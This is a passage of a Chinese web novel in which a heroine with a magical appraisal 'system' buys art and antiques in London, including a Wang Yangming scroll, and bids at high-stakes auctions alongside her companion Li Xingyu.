她快乐地穿行在街区的高端精品店以及画廊里，手上不一会就多出一堆大包小包。 她答应要帮孟甜甜她们带土特产来着。 【作者有话说】 感谢读者“杨旷旷”,灌溉营养液 +9 227 第227章 ◎落荒而逃◎ 精品店的首饰、香水、配饰数不胜数,萧妧妧买得很尽兴。 要说令她惊喜的行程，除了亲眼看到古堡，大概就是她无意间闯入的艺术画廊。 没有卓纳画廊那么高不可攀，想买件作品还需要有顾问引荐,这家坐落于河岸边的画廊更加年轻也更加灵活。 萧妧妧起初只想进店感受一下艺术氛围,熏一熏自己被金钱腐蚀的大脑。 结果倒好,她瞄到了一幅抽象得难以理解的布面油画,售价高达90万英镑，按照当下汇率算,大约是870万元。 萧妧妧倒吸一口气，不敢相信一幅当代油画,且画家本人还喘气的前提下，作品能卖出如此高价。 一边嘀咕“什么玩意,不会是洗钱吧”，一边按捺不住好奇启动估价,想看看这玩意是不是真的值钱。 萧妧妧期待系统给出不值钱的判定,价格跳出来的瞬间,她默默捂住了脸。 她果然没有艺术细胞,根本看不出眼前的油画竟然还有升值空间,并且空间不小。 又多瞄一眼，系统估价确实给出了990万的参考价格。 再查一查画家姓名，嚯，尼奥劳赫,当代顶流啊。 转身，招手,萧妧妧语速飞快：“Thisone,please。” 比语速更快的是她付款速度,送货地址暂定黎行聿在切尔西的住宅。 怎么说呢，萧妧妧在乎的不止是那一百来万的增值，更偏向暴发户附庸风雅的虚荣心理。 瞧，她慧眼识珠，不仅能分辨古董，更懂得欣赏现代艺术。 多少有点包装自己的成分在里面。 虽然不缺钱，但意外产生的90万英镑消费多少影响了她接下来的计划，萧妧妧舍不得再看其他东西，溜溜达达回住处。 她回来的时间刚好，黎行聿才结束一场会，艺术投资顾问和几位鉴定专家在她进门后不久离开，双方在门厅礼貌寒暄告别。 萧妧妧放下大包小包，陷进沙发里瘫坐，没等缓过劲，二楼传来啪嗒啪嗒的脚步声。 “有看中的拍品吗？” 她下意识仰头，见黎行聿端着咖啡杯出现，恰好走到楼梯口位置，懒洋洋与他搭话。 他带团队过来显然不止是随便看看，估计这会已经在商量方案了吧。 萧妧妧有点好奇他们的目标，希望不要出现撞车的尴尬情况。 黎行聿嗯了一声，顶着她的注视慢吞吞走下螺旋楼梯。 “家里古董收藏足够多了，这次会买几件珠宝。” 黎行聿没有藏着掖着的打算，如实告知。 萧妧妧回想一会，这几场预展上出现的珠宝品质非常不错，适合投资、收藏。 经济不稳定时期，货币购买力下降，中高档宝石无可避免的受到影响。 但稀缺的顶级天然宝石不同，它们具有“抗经济周期”特性，往往能保持上涨或稳定，无疑成了最佳避险资产。 尤其矿源枯竭的顶级宝石，现存溢价率最高达到300%，离谱之中又透着一点合理。 理所当然的，顶级珠宝就受到了藏家、投资者青睐，拍卖行流拍率可以完美佐证。 黎行聿把目标放在珠宝上属于情理之中。 萧妧妧暗道一声幸好，万一两人在大维德抢唐伯虎抢到脸红脖子粗，那也太抓马了。 珠宝她不缺，不管是成品珠宝首饰，还是裸石，顶级宝石还是高端宝石，多得塞不下。 如果按数量来统计，萧妧妧可以拍胸脯说，绝对超过翡翠数量，甚至倍杀。 毕竟她一直在出手中低档翡翠，高档货偶尔卖一卖，顶级翡翠必然是自己收藏。 宝石钻石什么的，属于迫不得已，随便她怎么努力，就是不如翡翠受欢迎。 低端的首饰好一点，能顺带着卖出去，非常偶尔会有顾客点名要买高档宝石。 至于顶级宝石，她记不清塞了多少个木匣子，多到她这辈子都不需要再花冤枉钱买它们了。 萧妧妧越想越美，狐狸眼弯成月牙状。 黎行聿径直走向岛台，熟练操作咖啡机，给自己添一杯咖啡的同时不忘记侧身询问。 “给你冲一杯？新到的咖啡豆是你会喜欢的味道。” 萧妧妧回神，扭头回他一句谢谢，心安理得等咖啡喝。 黎行聿看起来精神奕奕，都没有黑眼圈，萧妧妧不行，时差害得她有点萎靡，偏偏白天事情安排满了，无法补觉。 当然，不排除她下午放肆逛街造成的原因。 总之，萧妧妧一坐下，疲惫感包裹全身，等她适应了室内温暖温度，困意上涌。 黎行聿煮咖啡技巧怎么样她不好评判，速度没得说，眼皮子耷拉几秒，一杯有着淡淡果香的咖啡摆在面前。 与此同时，几本图录也在她面前摊开。 “有印象吗？我想听听你的意见。”他说。 萧妧妧兜里有一堆珠宝没错，可她鉴赏珠宝的水平并没多少长进，不怕丢脸坦白的说，她更在意珠宝好不好看。 “不用考虑其他因素，挑你看得顺眼的就好。” 萧妧妧闻言更不敢乱挑了，但黎行聿态度坚持，她象征性的随手翻几页糊弄。 “都挺好。” 论品质、设计，没有一个拉胯的，于是她坦然的敷衍一句。 黎行聿自动翻译：“那就全都买了。” 说着他掏出手机给投资顾问打电话。 萧妧妧刚喝一口咖啡，没品出滋味呢，差点喷出来。 “你别冤枉我，我没那个意思。”她赶紧撇清关系。 黎行聿：“你的建议不错，既然选不出来，那就没必要浪费时间考虑了。” 萧妧妧忍不住瞄他，一本正经，不像是开玩笑。 电话接通，黎行聿话音没有一丝停顿，明确表示全部匿名购买。 萧妧妧听得心肝直颤，偷摸翻了翻图录，计算完数量，暗暗吐气。 还好还好，算得上顶级的珠宝总共才十件。 真吓人。 萧妧妧重新端起咖啡，一口闷，借口收拾东西溜走。 黎行聿察觉身后动静，侧身回头，只看到豪迈爬楼梯的狼狈背影，失笑出声。 直到晚餐前，萧妧妧扛不住肚子的抗议，磨磨蹭蹭下楼。 管家领着人在餐厅与厨房的区域忙碌，没看到黎行聿的身影。 萧妧妧探头探脑一番，乖巧坐在沙发上等开饭。 几乎刚坐下，大门口传来声响，有人进来。 她意识到这一点时，护工已经推着轮椅进入大厅。 萧妧妧看过门厅的照片墙，一眼认出轮椅上堆满笑容的富态女人，她就是黎行聿口中的路易莎，从小照顾他的保姆。 萧妧妧听他提过，黎家兄妹三人几乎都是路易莎看着长大的，从感情上来说，和家人差不多。 她反应了几秒，拘谨起身打招呼。 路易莎车祸受伤，声带受损，腿脚也不太方便行走，她一个劲的微笑表达自己的善意，然后比划手势。 “路易莎说，很高兴见到你。”黎行聿卷起袖口走到轮椅后面，示意护工松手，“没关系，路易莎可以听懂你说话。” 萧妧妧正迟疑抬手，闻言便用正常方式交流。 黎行聿在她耳边小声说：“路易莎年纪大了，记性不太好，年初还查出帕金森，拿不稳笔。” 萧妧妧了然，难怪她打手语时磕磕绊绊。 解释完，黎行聿贴心地充当起手语翻译方便她们沟通。 萧妧妧想说她勉强看得懂，他可以歇歇。 但随后，路易莎兴奋地朝着黎行聿比划，比划时，灼热目光几次落在她身上，差点将她烫穿。 黎行聿看完她颤巍巍的手语，眼角眉梢挑起笑意，点头嗯了一声回应后，改用手语比划。 然后，路易莎肉眼可见的着急，颤抖的双手施法一样比划得飞快。 萧妧妧笑容僵硬两秒，脚趾不自觉扣地，再不提自己能看懂手语的事。 路易莎今年将近七十，身体机能的衰退伴随车祸后遗症以及老年常见疾病，以至于她吃饭完全无法随心所欲，每顿吃的药比饭都多。 整顿饭，路易莎没吃几口，全程笑吟吟地盯着黎行聿看，再自以为隐晦的偷看萧妧妧。 萧妧妧被她盯得坐立不安，有几次没忍住回望过去，路易莎又心虚地转移视线，看天看地。 是个可爱的小老太太。 晚饭接近尾声的时候，路易莎的护工推着她回去休息，黎行聿跟过去没几分钟就被赶了回来。 “路易莎很喜欢你。”他说。 萧妧妧结结巴巴开口：“是、是吗？我也很喜欢路易莎，她笑起来的样子特别有力量。” 黎行聿继续道：“这次回国计划是带路易莎一起回去。” “回国挺好的，住南市吗？” 黎行聿：“不住南市，她更想回家乡，路易莎已经开始考虑身后事，她希望落叶归根，我会安排护工一起过去照顾她。” 萧妧妧面无表情：“那挺好。” 她的语气和表情一样平淡，好像对他的话题不感兴趣，无论黎行聿说什么，都简短干巴地回应。 对比萧妧平时叽叽喳喳的状态，此时的她稍显冷淡，黎行聿敏锐察觉她的变化，不禁稍稍偏过头，凝视着她。 萧妧妧始终低着头，专注眼前的食物，看不出哪里不对。 黎行聿心中有疑惑，想追问她几句，萧妧妧突然放下手中的餐具，借口倒时差匆匆跑走，一个眼神都没分给他。 黎行聿满脸不解，这是怎么了？ 回到客房，心情略微平复了一些，萧妧妧如释重负般地长舒了一口气。 挺好，她终于体会到什么叫报应不爽。 昨天，她故意捉弄黎行聿，让他落荒而逃，今天，虽然他不是故意的，但也确实让她落荒而逃了。 228 第228章 ◎王阳明手卷◎ 接下来的两天,萧妧妧收敛心神，专注于预展。 来之前选出心仪的古董六件，见到实物之后挑拣对比一番，只剩三件值得她下手。 一件是唐伯虎的画,不惜成本拿下。 一件是图录里没看上,见到实物反被惊艳的明永乐龙凤呈祥剔红大盘,大维德爵士旧藏,《石渠宝笈》著录，约4000万元,价值不菲。 最后一件是《金文总集》收录过的战国青铜饕餮纹瓿，有卢芹斋交易记录,不存在流失文物被追索的风险。 当然，价格同样够美丽,市场行情约1.1亿元左右。 萧妧妧最终选这三件下手，结合了多方因素考量。 她手里古董珍贵的、普通的,数不胜数,可以说有了里子。 但那些大多靠她捡漏买来,或许能帮她打出名气,实际却没什么增益。 这时候搞几件名人旧藏充门面,拔高一下档次，里子面子就都有了。 佳博的几件名家旧藏相对来说比较便宜，也因为便宜，对她来说作用不大,买了纯粹白送钱，有点鸡肋。 她精心挑选的这三件拍品则不一样。 大维德爵士的旧藏剔红大盘,无疑是此次拍卖中的精品之一。 大维德爵士是上世纪陶瓷收藏巨擘,其旧藏瓷器在拍卖市场上一向备受瞩目。 萧妧妧此次参加的大维德拍卖,就是由大维德爵士创立。 其拍卖的藏品无不是艺术、历史价值兼具，尤其陶瓷藏品，在艺术品拍卖市场上有着广泛的国际影响力。 买下剔红大盘虽然要花不少钱，但值得。 唐伯虎的《松崖别业图》更不用多说，名声斐然，买下它既增加她知名收藏家的份量，也向圈内、圈外人证明自己的实力。 战国青铜器除了昂贵，本身历史价值就十分值得关注，她早有计划，等送去展览上溜达几圈刷够了存在感，连同汉锦一并捐赠出去。 说的再直白点，买青铜器那一个亿本质是花钱营销，求的是社会层面的正向曝光。 如果目标只有青铜器，差不多的价钱她可以通过苏娇娇买下十几个。 捐赠一亿元和捐赠青铜器，单独进行效果都很一般，花费一亿元买下青铜器再公益捐赠，则从本质上与前两者做出区分。 这一点区分，补足了捐赠汉锦所缺失的必要一点。 捐赠的一亿元是货币资产，代表资源的直接给予，强调的是资产所有权转移。 捐赠青铜器，是文化载体的所有权转移，它可能是祖传、意外所得，只体现出文化遗产的传承、保护，以及捐赠者的思想觉悟。 至于青铜器的经济价值，没人再关注，自然无法联系到捐赠者的“获取成本”。 或许新闻稿添加一句“曾有人花重金求购”，勉强增加一点故事性，得到一句褒扬。 花一亿元买青铜器捐赠是另一回事，体现青铜器的经济价值与文化价值，表现出她通过资源置换文化载体，强调的是她为获取青铜器所付出的成本。 再与文化保护、传承这一点结合，既有社会意义，还有象征意义，同时彰显捐赠者自身的“文化责任感”。 关键是它的价格刚刚好，不会贵得让她无法接受，也不会便宜到让人发出“就这？”的质疑。 这一套招数不少收藏家玩过，有的玩砸了，有的从此咸鱼翻身。 萧妧妧准备了双重保险，汉锦和青铜器，就算不能翻身，多少可以扑腾出点水花吧。 做好计划，隔天上午就有一场拍卖，下午是大维德的钟表专场。 萧妧妧确认这两场无需参加，睡了个懒觉，乐颠颠向附近艺术街区的古董店出发。 黎行聿的目标也不在这两场中，何况他有顾问代理拍卖，于是理直气壮跟上来。 萧妧妧没理由拒绝，两人一起逛起古董店。 国外的古董店无论装修、陈列还是商品，都与国内有巨大区别，店铺好像从维多利亚时代穿越而来。 尤其里面售卖的物件，留声机、羽毛笔、绝版唱片、半幅肖像画，分不清风格的家具、烛台、餐具…… 当然，最多的还是瓷器、银器。 萧妧妧兴致勃勃拿起一粉彩餐盘，翻过来多瞧一眼，又放了回去。 之后拿起的鼻烟壶、茶壶、花瓶，大多如此，全是创汇产品。 萧妧妧没有多失望，转身去另一家古董店。 这家有点特别，卖古董首饰，其中有玉石一类的产品。 这家店显然更受欢迎，顾客成群，但没有萧妧妧需要的漏。 第三家门楣低矮，看上去略显老旧，表现却出乎意料。 萧妧妧在这家店找到了一块田黄，雕有山水图的大块田黄。 至于是否为名家雕刻，她看不出来，但论田黄材质，手上这块摆件呈冻状熟栗黄，有萝卜纹，这种料子一般用来雕摆件。 手里的摆件约400g左右，听起来挺有份量，实际大小也就巴掌差不多。 宫廷旧藏、名家雕刻或许贵一点，卖到百万千万，如果没有历史价值附加，其实并不算贵，价差10倍左右。 萧妧妧有点心动，但远不到想下手的程度，启动系统估价后改了主意，果断买下。 系统给的参考价在600万-800万之间，这个价格放在高峰期，只能买到一般品相的田黄，而在当下价格回落期间，手里这件高品质田黄售价才90万元，不管能不能回到高峰期，这个价格都非常有吸引力。 萧妧妧拿到田黄总共不超过三分钟，转头就去付款。 剩下几家古董店，萧妧妧已经不抱希望了，她会想起来逛古董店，其他参加拍卖的买家同样在逛。 一条街区没能逛完，萧妧妧看见不下十人是她这几天在预展上擦肩而过的。 即便如此，最后一家店她还是没忍住进去瞧一眼。 因为这家店主营东方艺术品，什么青花、粉彩、浮世绘，隔了十几米就看得一清二楚。 进店后，店内售卖物件多得远超她想象。 两人前脚进店，后脚几个黄皮肤同胞随后跟来，抱着差不多的捡漏心思在店里闲逛。 萧妧妧看青花盘子的时候，旁边就有两个年轻小姐姐说着南市方言交头接耳。 两人分不清真假，纯粹凑热闹，萧妧妧特意瞄了一眼，又是新货。 逛到书画区附近，研究浮世绘的人还挺多，她好奇估价后，后撤一步避开。 萧妧妧还要继续深入，黎行聿忽然拉住她手腕。 “怎么了？” 黎行聿没说话，手上力气加重，将她往另一方向带。 萧妧妧眼珠子一转，顺从的调转脚步跟上，最后停在玻璃展示柜前。 黎行聿稍稍俯身，在她耳边低声提醒：“第二排最后一件。” 萧妧妧按照提醒看过去，是一幅字。 她隐约想起，他们刚才路过这里，店员新从柜子深处扒拉出来放上去的东西。 萧妧妧狐疑瞄他。 假货当然没必要特意提，难不成是真古董？ 萧妧妧抱着这样的怀疑，拉开柜门拿出那幅裱起来的字。 整幅字宽约30厘米，长将近800厘米，保存相当完好，为方便展示，只露出了一部分卷首以及落款。 “……有点眼熟。” 萧妧妧盯着上面的七言诗句品味，半晌丢出这么一句。 怪她学艺不精，实在无法凭笔迹认出作者。 黎行聿再次：“像不像在随园仓库看到的那幅？” 萧妧妧茫然一会，想不起他说的是哪个，她在随园见过的字画可多了。 黎行聿望着她眼睛，别有意味：“行气贯通、虚实相生……想起来了吗？” 萧妧妧咀嚼这八个字，迷茫眼神倏然绽放出精光。 “你是说……” 话到嘴边，她突然瞥见有两个在预展时见过的买家从身旁走过，心中一紧，连忙止住声音，并迅速将手卷往身前藏了藏。 待那两人完全走过，这条不算宽敞的过道便只剩下他们，萧妧妧这才鬼鬼祟祟向他确认。 “你是说，王阳明？”她压低嗓音，偷感十足。 黎行聿见状，嘴角微扬，“字迹有点像，其他的……我研究不深。” 萧妧妧闻言，用一种略带戏谑的眼神瞥他。 说得挺谦虚，但能通过字迹判断出像与不像，已经够厉害了。 她没有过多地纠缠这个话题，抓紧时间确认钤印落款，顺带启动系统估价。 等待估价的时候，萧妧妧的目光始终没有离开过手卷，全神贯注地观察着上面的每一个细节。 并且，她已经认出了其中几个印，分别是“翰林院编修福山王懿荣私印”白文印、翁同龢的“同龢”白文印、“叔平”朱文印。 只看这几个印，萧妧妧有七分把握，至少证明手里的作品递藏有绪。 但她对书画的研究并不深，不敢断定它的真假，只能依靠系统。 略等两秒，估价终于弹出，萧妧妧数了数，数到九位数，呼吸瞬间乱了节奏。 黎行聿先是听到她深吸气，没一会注意到她捧手卷的胳膊颤了颤，目光转移到她脸上时，才看见她瞪大的眼珠子。 “这件……多少钱来着？”萧妧妧努力平复情绪后，颤动声线向他询问。 黎行聿没在展示柜附近找到标价，抬手找来店员询价。 两人用英语叽里咕噜交谈，萧妧妧在一旁却根本听不清他们说了什么，满心满眼都是手卷。 又过了一会，黎行聿结束和店员的对话，低声说：“八万镑。” 萧妧妧嘶了一声，看看手里的手卷，抬头，满脸惊愕地看着黎行聿。 “八万镑，是八十多万元吧？” 她这副样子很能说明问题，黎行聿心中已然明了，眉梢一挑。 “所以，这件确实是王阳明手卷？” 萧妧妧颇有点做贼心虚的意思，东张西望一圈，确定没人关注这里，冲着他重重点头。 “是真迹，《王阳明诗翰》手卷。” 黎行聿家收藏的那幅手卷不及手里这幅一半的长度，已经价值7000万了，手里这幅递藏有绪，保存完好，价值1个亿实在不能说过份。 80万翻到一个亿，四舍五入，净赚9900万！ 229 第229章 ◎大维德压轴场◎ 亲兄弟明算账,异父异母的亲朋友更要算清楚。 萧妧妧当即决定，这幅王阳明手卷两人共同出资，五五分。 黎行聿想推辞，萧妧妧却没时间听,也不想听,二话不说招来店员付款,生怕被人劫走。 “就当是我们一起合作投资的新项目吧。” 萧妧妧抱着锦盒,笑得心满意足。 嘿嘿嘿，向老天奶伸手还是有效果的,她终于拥有了王阳明手卷。 虽然只是一半。 毕竟是黎行聿先发现它，萧妧妧最终辨认出真假,能捡到这个漏，两人各占一半功劳。 萧妧妧不好意思据为己有,索性提出合作，反正合股的情况在圈子里很寻常,回去补一份协议即可。 黎行聿见她兴致勃勃,脸颊因此变得红扑扑,吞下了即将出口的话语,嗯了一声认可她的提议。 上午半天时间,先后捡到一大一小两个漏，萧妧妧亢奋异常，也不挑剔食物口味了，找到附近一家小有名气的网红餐厅尝尝味,下午直奔伊斯林顿。 那里有一条定期开放的步行街，街道两旁古董店众多,除了独立固定开放的小众宝藏店铺,还有许多个人临时开设的古董摊,类似赶集，售卖的古董、艺术品种类繁多。 东西多，对买家的考验也随之增强。 萧妧妧对东方古董小有研究，对西方古董则一窍不通。 让她意想不到的是，黎行聿弥补了她这一方面的知识。 “这件浮雕瓷杯不错，GR是乔治王冠标，典型的宫廷印记，露胎处胎质米黄且磨损痕迹自然，交叉剑边缘模糊，不出意外是手绘，整体看不出大问题，应该是18世纪的老物件。” 萧妧妧逛到其中一家独立古董铺，一眼相中了展示柜里的花卉浮雕茶具，一杯一碟。 她略看了几眼，只顾着欣赏它的美，其他看不出什么门道，黎行聿接过之后端详片刻，肯定了她的眼光。 萧妧妧诧异不已：“真的假的？我随手拿起来看看，真是古董啊？” 她将信将疑拿回浮雕杯，仔细看底部印记之余，启动系统估价。 系统这次没有拖延，两秒之内完成扫描，弹出价格。 萧妧妧先瞄向展示柜里的价格标牌，上面标价63万镑，再对比系统估价，580万元。 眼珠子骨碌碌转，计算清楚汇率对比差价，萧妧妧轻啧一声。 确实是古董，卖得还挺贵，比系统估价高。 如果全凭喜好，这套茶具值得买，毕竟它很漂亮，且是古董。 但萧妧妧是抱*着捡漏的心思，无论它多漂亮，都有些没必要。 萧妧妧又欣赏片刻，理智地放回展示柜。 她有朱可心，比浮雕杯还多一个0呢。 又逛了几家店，萧妧妧可以拍胸脯说，这里的独立古董铺整体质量非常高，光是她挑出来的真古董就不下十件。 当然，黎行聿能看出它们的真假，店家同样了解它们的价值，整体而言这条街的古董价格都偏高。 萧妧妧从头逛到尾，独具风格的餐具、饰品买了不少，古董一件没挑到。 她想，大概是上午的王阳明手卷耗尽了一天的运气吧。 想到这一点，萧妧妧不再执着于捡漏，反而随心所欲地闲逛。 恰好后面的行程随着拍品目标调整而跟着减少，她难得挤出完整的一天用来参观标志性建筑，而不是流连于古董店、画廊等地方。 这样闲适的日子只过了两天，临近万圣节的一个普通夜晚，萧妧妧等待许久的邦瀚斯拍卖会第三场，东方艺术专场拍卖开始了。 这一场任务姑且算轻松，只有一件战国青铜器是她的目标。 第一次参加国外的拍卖会，萧妧妧多少有点忐忑，因为流程和规矩都和国内拍卖有些许出入，她不确定哪些行为会导致竞价失败。 是以，黎行聿穿戴整齐等在门厅，提出陪同参加拍卖时，萧妧妧沉默了一会，主动挽住他胳膊。 直至两人抵达会场，听了一路拍卖注意事项，萧妧妧由衷庆幸自己没有拒绝他的陪同。 比如，邦瀚斯会设定具体的加价幅度，买方出价必需高于或等于该幅度，否则竞价无效。 再比如，萧妧妧竞买目标是青铜器，竞买资格需重点审核，如果不符合条件，则无法参与竞拍。 这一点有顾问及时解决，萧妧妧才没碰到吃闭门羹的尴尬情况。 还有一点比较特别，新人第一次参加拍卖，能参与竞拍的拍品数量有限制，拍卖方出于控制风险等目的设立了此条规矩，针对的就是她这样新加入的会员。 她再三确认，本场她可参与竞买的拍品数量一共不超过两个。 萧妧妧在工作人员数次核实情况，终于拿到竞拍号牌后，吐出一口浊气。 算上顾问团队前期的准备工作，想参加一场国外的拍卖手续、流程都出人意料的麻烦。 幸好她只看中了一个青铜器。 未免大维德的拍卖出岔子，萧妧妧趁着青铜器没出场，提前联系顾问确认情况。 在她忙着回消息时，黎行聿轻声提醒，“43号出现了。” 43号就是战国青铜器的编号以及上场顺序。 萧妧妧正襟端坐，竞拍号牌翘起，跃跃欲试。 拍卖师语速飞快的叽里咕噜一通，她没听太懂，黎行聿整理出重要信息告诉她，咚一声，拍卖正式开始。 青铜器不愧是重点拍品，刚一开始就遭到哄抢。 起拍价110万镑，十轮竞价后，已经出到了230万镑。 萧妧妧一直等到30轮之后，场上只剩下4人竞争，价格也来到了800万镑。 800万镑，差不多7000多将近8000万元。 坚持了四十轮的几位买家犹豫之际，萧妧妧半路杀出来，缓缓举牌。 花的是英镑，萧妧妧钱再多也不敢大幅加价，老老实实跟着设定的加价幅度走。 接下来不管是谁、加多少，不出几秒，萧妧妧都会举牌跟上。 纵使萧妧妧做好心理准备，价格迈过千万门槛，换算过来就是一亿元大关时，萧妧妧也不由得胆颤。 这是她第一次在拍卖行单件消费一个亿。 但迈过这个坎，后面再举牌，萧妧妧反而畅快许多，一个亿都花了，多个几百万上千万不算什么。 到这时，加上萧妧妧一共只有两人竞争，另一位买家坚持到现在，加价越来越慢，考虑时间成倍增加，拍卖师提醒了几次。 当价格飚至1310万镑，与萧妧妧竞争了三四分钟的买家彻底放弃。 “咚” 落槌声再次响起，拍卖厅传来稀稀拉拉的掌声，拍卖师抬手示意萧妧妧所在方向，宣布56号买家成功带走本场重点拍品之一，战国青铜器。 1310万镑，1.264亿，四舍五入算1.3亿好了，比市场行情略高一点，比她的预估也高了一点。 萧妧妧迟迟回不过神，似乎不敢相信，总共十分钟不到的竞价里，她举了几次胳膊就花出去一个亿。 拍卖还在继续，之后几件是更重磅的拍品，但和萧妧妧没什么关系了。 拍下战国青铜器后，她果断退场，缴纳剩余款项，安排顾问与拍卖行对接工作。 青铜器要想顺利回国，国内外需要的手续不少，即便有拍卖行配合，她一个人也应付不来。 目标三件拍品，已完成较为重要的一件，萧妧妧心情飞扬，借着感谢他陪同的名义，拉着黎行聿去吃大餐。 兴冲冲进了餐厅，捂着肚子出来，脸上笑容不复存在。 回到车上，萧妧妧可怜巴巴地问：“你家有泡面吗？” 黎行聿闷笑几声，带她去附近超市。 十二点前，萧妧妧总算吃到了一天之中最最符合她胃口的食物——有满满一大碗红烧牛肉的红烧牛肉面。 萧妧妧感动的为豪华泡面拍了九宫格。 伦敦时间的10月最后一天，同时也是大维德的最后两场拍卖。 晚间的压轴场集合了十三件本次秋拍的重点拍品，萧妧妧的剔红大盘和唐伯虎都在这一场。 剔红大盘排名靠前，唐伯虎的《松崖别业图》做为重中之重，无疑成为了压轴场的压轴拍品。 夜间场18点开始，20点结束，时间可以说非常充裕。 萧妧妧换上玫瑰粉的修身礼服裙，两串不同尺寸的澳白珍珠链叠戴在脖颈间，营造出错落层叠的视觉效果，大方领带来的大片肌肤裸露问题得以解决。 起到装饰作用的腰带选择搭配多层的米珠，正中间主石是一颗足有25mm的正圆珍珠。 为了视觉效果的统一，耳坠、手镯依然选用珍珠做为主要元素。 未免单调，她在珍珠的尺寸上做了差异化调整，主石采用同为粉色系的宝石，看起来多一点层次感。 穿戴整齐后，萧妧妧照着镜子，感觉整个人都粉粉嫩嫩了，完全看不出昨晚的她还在为时差烦扰。 她上下打量一通，忍不住嘿笑出声。 全身上下没一件是花钱买来的，珠宝零元购，礼服零元购，发型、妆容自己动手，造型师赚不到她一分钱。 最后，萧妧妧拎起一件足以盖住大腿的银灰色皮草披肩，扣紧暗扣。 嗯，皮草也不要钱，申明月从某个大户人家零元购来的，请了升州城最好的师傅，按照萧妧妧的设计图赶制。 萧妧妧美滋滋转了个身，欣赏完自己的搭配，自觉挽住黎行聿，出发前往大维德拍卖现场。 萧妧妧以为自己打扮得足够夸张了，到了现场一瞧，深V、大裙摆、抹胸……显得她格外含蓄。 含蓄有含蓄的有点，萧妧妧没有太多负累，行动最便捷，快人一步拿到竞拍号牌。 在宴会厅尝过甜度适中的马卡龙，齁甜的布丁，硬邦邦的蛋糕，终于，压轴场拍卖开始了。 230 第230章 ◎恭喜你，得偿所愿◎ 进入巴洛克风格的拍卖厅环顾一圈,除去金发碧眼的外国人，就属黑发黑眼的同胞最多。 无需多问，为唐伯虎而来。 萧妧妧握了握拳，大步走向战场。 压轴场拍品虽少,但每件拍品都算得上精品,从第一件拍品开拍,氛围就陷入了莫名的焦灼。 起拍价高、加价幅度也不低,这便导致每一轮竞价比寻常拍卖速度稍慢些许。 萧妧妧等得心焦，满脑子想着竞拍失败该怎么安排补救方案。 黎行聿几次和她说话,她都没能仔细听，“什么？”“你再说一遍”“嗯嗯”来回这么几句回应他。 见她如此紧张,黎行聿想握住她的手转移注意力，想了想,还是克制地轻拍她后背以示安抚。 “别动，发型会乱。” 萧妧妧拒绝了他的安抚,并碰了碰披在后面的卷发,防止造型失败。 黎行聿没忍住,轻笑出声。 萧妧妧以为自己又遗漏了什么消息,刚想问他笑什么,她翘首以盼的剔红大盘登场了。 萧妧妧顾不上和他说话，仔细听拍卖师介绍拍品情况，等槌子落下，她立即举牌。 重点拍品价格昂贵,参与竞争的买家总共不超过一只手，她不敢拖拖拉拉。 面对市场行情4000多万的剔红大盘,萧妧妧挺有信心,尤其竞价来到第十轮,场上加上她只有三人竞争。 然而她没想到，对剔红大盘势在必得的人不止她。 三方互不相让的追逐，剔红大盘直奔390万英镑，差一点就赶上了她预估的含税落槌价。 萧妧妧表面有多淡定，内心就有多崩溃。 超预算了。 超一点没关系，超太多会影响唐伯虎的份额。 萧妧妧咬咬牙，继续举牌。 她最多还能撑几轮，再多只能放弃了。 大约是她的祈祷见效了，又坚持两轮之后，另外两位竞争者没了声。 萧妧妧无法形容等待拍卖师落槌这十几米的心情，要不是有规矩，她真的会忍不住冲上台帮他落槌。 好在一切还算顺利，长达半分钟的等待中并无人横插一脚进来。 随着“咚”的一声传来，剔红大盘以465万镑，约4500万元的价格，成功落入萧妧妧的口袋。 尘埃落定，萧妧妧紧绷的神经松弛许多，手心在裙摆上蹭了蹭，擦去不知道什么时候汇聚的汗。 好惊险，但凡有人再坚持加一次价，剔红大盘都会与她擦肩而过。 短暂的庆幸后，萧妧妧随即露出一脸肉痛的神情。 “我是不是买贵了？” “四舍五入4500万呢，我以为4000万肯定能拿下。” “可恶！超预算了。” 萧妧妧实在憋不住吐槽的欲望，凑过去和黎行聿嘀咕起来。 越嘀咕越担心，她又偷摸拿出手机查看余额。 其实余额不算少，前提是唐伯虎的竞争没有那么激烈。 但她扫了周围一圈，已经拍到第十件了，场内至少一半买家没举过牌子。 她敢肯定，这一半很有可能会成为她的竞争对手。 萧妧妧心里不踏实，眉头微蹙。 然而她并没有太多时间担心有的没的，最后一件拍品，也是大维德最受瞩目的拍品，终于在众人的期待中登场。 “下一件拍品，唐伯虎《松崖别业图》，起拍价500万。” 萧妧妧的担心最终还是成为了现实。 当拍卖厅的大屏幕上跳出唐伯虎《松崖别业图》的基础信息时，全场一片哗然。 这幅画的起拍价高得超乎大家想象。 萧妧妧静静地听大家低声讨论，天真的以为如此高的起拍价会让很多人望而却步。 事实恰恰相反，木槌在台面上轻轻一叩，拍卖师宣布开始，一个个举个牌子举得快要蹦起来了。 要不是萧妧妧身处其中，简直不敢相信这是500万英镑（4800万元）起拍价能引发的场景。 500万英镑啊，她买剔红大盘一共才花了460万镑。 剔红大盘的终点只是《松崖别业图》的起点，货比货得扔。 更让她觉得不妙的是，先前观察过的大部分买家确实如她猜测，都冲着唐伯虎来的。 内场的买家、侧边场的电话委托，自《松崖别业图》宣布开拍后，拍卖厅像炸开锅，各种动静此起彼伏。 就很离谱。 两人对视一眼交换眼神，黎行聿在她眼里看到了震惊、绝望、破防……以及贫穷。 萧妧妧以为自己算有钱人了，来到富豪扎堆的场所才发现什么叫人外有人。 冷静些许，萧妧妧赶紧举牌加入竞争。 不管是凑热闹回去当谈资，还是真心想买唐伯虎，总之，拍卖厅百分之九十的人都参与了竞拍。 800万英镑时，竞争者十八人。 1000万英镑时，竞争者十二人。 2500万英镑时，萧妧妧看到了曙光，竞争者砍半，只剩下六人。 3200万英镑时，萧妧妧有点破防，还是六个人在竞争。 3200万英镑，那可是3个亿啊！ 萧妧妧举牌子的手颤颤巍巍，“3800万。” 她安慰自己，还在预算内，可以大胆开价，但话落没多久，一直紧跟不放的竞争者马上开价。 “3900万。”戴祖母绿戒指的女士举牌。 “4000万。”后排传来一股老钱质感的懒洋洋男声。 萧妧妧都麻了，指尖在号码牌上蜷了蜷。 “4100万。”她咬紧牙关，又一次举牌。 4100万，4个亿而已，还行，能接受。 萧妧妧对《松崖别业图》的预估在5亿左右，还有很大的预算空间。 “4500万。” 不太妙，新的竞争者横插一脚，布满钻石的劳力士表在鎏金吊灯下闪耀，瞬间夺走众人的注意。 是个沉得住气的人才，三四十轮了才出手，一口气加上去400万镑。 4.5亿而已，不慌……安慰自己一句，萧妧妧紧跟着开价：“4700万。” 话落不到十秒，前方戴祖母绿戒指的34号女士又一次举牌。 “5300万。” 女士沙哑的声音响起，周围倏然传来一片低语。 